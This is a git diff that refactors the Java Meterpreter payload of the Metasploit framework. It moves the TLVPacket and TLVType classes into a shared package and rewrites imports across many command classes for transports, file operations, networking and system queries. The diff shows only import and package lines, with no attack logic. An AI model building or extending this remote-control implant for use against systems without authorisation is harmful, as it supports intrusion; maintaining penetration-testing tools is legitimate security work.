--- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_uuid.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_uuid.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_set_uuid implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_shutdown.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_shutdown.java index 686f7687f..684f4e773 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_shutdown.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_shutdown.java @@ -1,7 +1,7 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class core_shutdown implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java index c9850af9b..2af0049c6 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Transport; import com.metasploit.meterpreter.TcpTransport; import com.metasploit.meterpreter.HttpTransport; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_change.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_change.java index 9af9aa28b..aceeaaf4b 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_change.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_change.java @@ -1,7 +1,7 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; public class core_transport_change extends core_transport_add { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java index a118dca68..f1b9763ed 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Transport; import com.metasploit.meterpreter.HttpTransport; import com.metasploit.meterpreter.command.Command; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_next.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_next.java index 974440162..e7376c2c8 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_next.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_next.java @@ -1,7 +1,7 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class core_transport_next implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_prev.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_prev.java index 1526128e4..c4cd286dc 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_prev.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_prev.java @@ -1,7 +1,7 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class core_transport_prev implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java index 60dd05022..fa52e47fd 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Transport; import com.metasploit.meterpreter.command.Command; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java index 101efeca9..e6a66db47 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Transport; import com.metasploit.meterpreter.command.Command; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java index 2641aa77d..3e266a39b 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Transport; import com.metasploit.meterpreter.command.Command; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java b/java/meterpreter/shared/src/main/java/com/metasploit/TLVPacket.java similarity index 99% rename from java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java rename to java/meterpreter/shared/src/main/java/com/metasploit/TLVPacket.java index d60199ffc..b3f64e348 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/TLVPacket.java @@ -1,4 +1,4 @@ -package com.metasploit.meterpreter; +package com.metasploit; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java similarity index 99% rename from java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java rename to java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java index 079ea3f85..4560e55e0 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java @@ -1,4 +1,4 @@ -package com.metasploit.meterpreter; +package com.metasploit; /** * All defined TLV types. diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/DatagramSocketChannel.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/DatagramSocketChannel.java index e2b67964c..14eeef69a 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/DatagramSocketChannel.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/DatagramSocketChannel.java @@ -7,6 +7,8 @@ import java.net.InetAddress; import java.net.SocketException; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.command.CommandId; /** diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/ServerSocketChannel.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/ServerSocketChannel.java index cd853d53b..c40a23e14 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/ServerSocketChannel.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/ServerSocketChannel.java @@ -6,6 +6,8 @@ import java.net.Socket; import java.net.SocketException; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.command.CommandId; /** diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/HashCommand.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/HashCommand.java index f79c69d1c..d44b8f9bd 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/HashCommand.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/HashCommand.java @@ -3,9 +3,9 @@ import java.io.FileInputStream; import java.security.MessageDigest; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public abstract class HashCommand implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_channel_open.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_channel_open.java index be99ca19a..6de0064ed 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_channel_open.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_channel_open.java @@ -12,13 +12,13 @@ import java.net.Socket; import java.net.UnknownHostException; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.DatagramSocketChannel; import com.metasploit.meterpreter.Meterpreter; import com.metasploit.meterpreter.ServerSocketChannel; import com.metasploit.meterpreter.SocketChannel; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.NotYetImplementedCommand; diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_channel_open_V1_15.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_channel_open_V1_15.java index e33037f7b..ab490fa73 100755 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_channel_open_V1_15.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_channel_open_V1_15.java @@ -1,12 +1,7 @@ package com.metasploit.meterpreter.stdapi; -import java.io.ByteArrayInputStream; -import java.io.FileInputStream; -import java.io.FileOutputStream; import java.io.IOException; import java.lang.reflect.InvocationTargetException; -import java.net.ConnectException; -import java.net.DatagramSocket; import java.net.InetAddress; import java.net.InetSocketAddress; import java.net.ServerSocket; diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_chdir.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_chdir.java index 77c6e6e9f..2732406b5 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_chdir.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_chdir.java @@ -3,9 +3,9 @@ import java.io.File; import java.io.IOException; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_fs_chdir implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_delete_dir.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_delete_dir.java index 4e236b3d9..d1db55eb2 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_delete_dir.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_delete_dir.java @@ -3,9 +3,9 @@ import java.io.File; import java.io.IOException; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_fs_delete_dir implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_delete_file.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_delete_file.java index 8c0ae859c..86319f5ab 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_delete_file.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_delete_file.java @@ -3,9 +3,9 @@ import java.io.File; import java.io.IOException; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_fs_delete_file implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_file_copy.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_file_copy.java index ff99fc49d..aba6fb8d3 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_file_copy.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_file_copy.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.stdapi; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; import java.io.*; diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_file_expand_path.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_file_expand_path.java index 7e26aa502..5772a525f 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_file_expand_path.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_file_expand_path.java @@ -4,9 +4,9 @@ import java.util.regex.Matcher; import java.util.regex.Pattern; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_fs_file_expand_path implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_file_move.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_file_move.java index 0c225d5b3..76af6eb78 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_file_move.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_file_move.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.stdapi; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; import java.io.File; diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_getwd.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_getwd.java index 6d9b2da98..fa325700c 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_getwd.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_getwd.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.stdapi; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_fs_getwd implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_ls.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_ls.java index 77a4dec4e..293b6deda 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_ls.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_ls.java @@ -3,9 +3,9 @@ import java.io.File; import java.util.List; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.CommandId; diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_mkdir.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_mkdir.java index 248e53918..4ea09f331 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_mkdir.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_mkdir.java @@ -3,9 +3,9 @@ import java.io.File; import java.io.IOException; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_fs_mkdir implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_search.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_search.java index de385ef44..d2a77786a 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_search.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_search.java @@ -6,9 +6,9 @@ import java.util.Collections; import java.util.List; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_fs_search implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_separator.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_separator.java index dec7b4374..530fa8109 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_separator.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_separator.java @@ -2,9 +2,9 @@ import java.io.File; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_fs_separator implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_stat.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_stat.java index 5d56a56cd..e8ca79004 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_stat.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_stat.java @@ -7,9 +7,9 @@ import java.nio.ByteBuffer; import java.nio.ByteOrder; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_fs_stat implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_config_get_interfaces_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_config_get_interfaces_V1_4.java index c1bed58ce..1b56bef1b 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_config_get_interfaces_V1_4.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_config_get_interfaces_V1_4.java @@ -8,9 +8,9 @@ import java.util.Enumeration; import java.util.List; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_net_config_get_interfaces_V1_4 extends stdapi_net_config_get_interfaces implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_config_get_interfaces_V1_6.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_config_get_interfaces_V1_6.java index 19768b3e3..8fa262391 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_config_get_interfaces_V1_6.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_config_get_interfaces_V1_6.java @@ -10,8 +10,8 @@ import java.util.Iterator; import java.util.List; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; public class stdapi_net_config_get_interfaces_V1_6 extends stdapi_net_config_get_interfaces_V1_4 { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_config_get_routes_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_config_get_routes_V1_4.java index 9faa0b351..52b59e9d3 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_config_get_routes_V1_4.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_config_get_routes_V1_4.java @@ -3,9 +3,9 @@ import java.net.NetworkInterface; import java.util.Enumeration; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.CommandId; diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_resolve_host.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_resolve_host.java index 835263f89..a96107e46 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_resolve_host.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_resolve_host.java @@ -1,15 +1,15 @@ package com.metasploit.meterpreter.stdapi; -import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; -import com.metasploit.meterpreter.command.Command; - import java.net.Inet4Address; import java.net.Inet6Address; import java.net.InetAddress; import java.net.UnknownHostException; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.command.Command; + public class stdapi_net_resolve_host implements Command { private static final int AF_INET = 2; diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_resolve_hosts.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_resolve_hosts.java index 2f047090a..aa89fbfbb 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_resolve_hosts.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_resolve_hosts.java @@ -1,13 +1,13 @@ package com.metasploit.meterpreter.stdapi; -import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; -import com.metasploit.meterpreter.command.Command; - import java.net.InetAddress; import java.util.List; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.command.Command; + public class stdapi_net_resolve_hosts implements Command { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_socket_tcp_shutdown.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_socket_tcp_shutdown.java index 5c3bd97da..d0907a753 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_socket_tcp_shutdown.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_net_socket_tcp_shutdown.java @@ -3,10 +3,10 @@ import java.io.IOException; import java.net.Socket; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; import com.metasploit.meterpreter.SocketChannel; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_net_socket_tcp_shutdown implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_getenv.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_getenv.java index 450f5ee2a..d2092729d 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_getenv.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_getenv.java @@ -1,13 +1,13 @@ package com.metasploit.meterpreter.stdapi; -import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; -import com.metasploit.meterpreter.command.Command; - import java.util.List; import java.util.Map; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.command.Command; + public class stdapi_sys_config_getenv implements Command { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { try { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_getuid.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_getuid.java index 52622aa8e..912095cee 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_getuid.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_getuid.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.stdapi; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_sys_config_getuid implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_localtime.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_localtime.java index 292cc9a47..7640bc392 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_localtime.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_localtime.java @@ -1,15 +1,15 @@ package com.metasploit.meterpreter.stdapi; -import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; -import com.metasploit.meterpreter.command.Command; - import java.text.Format; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Locale; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; +import 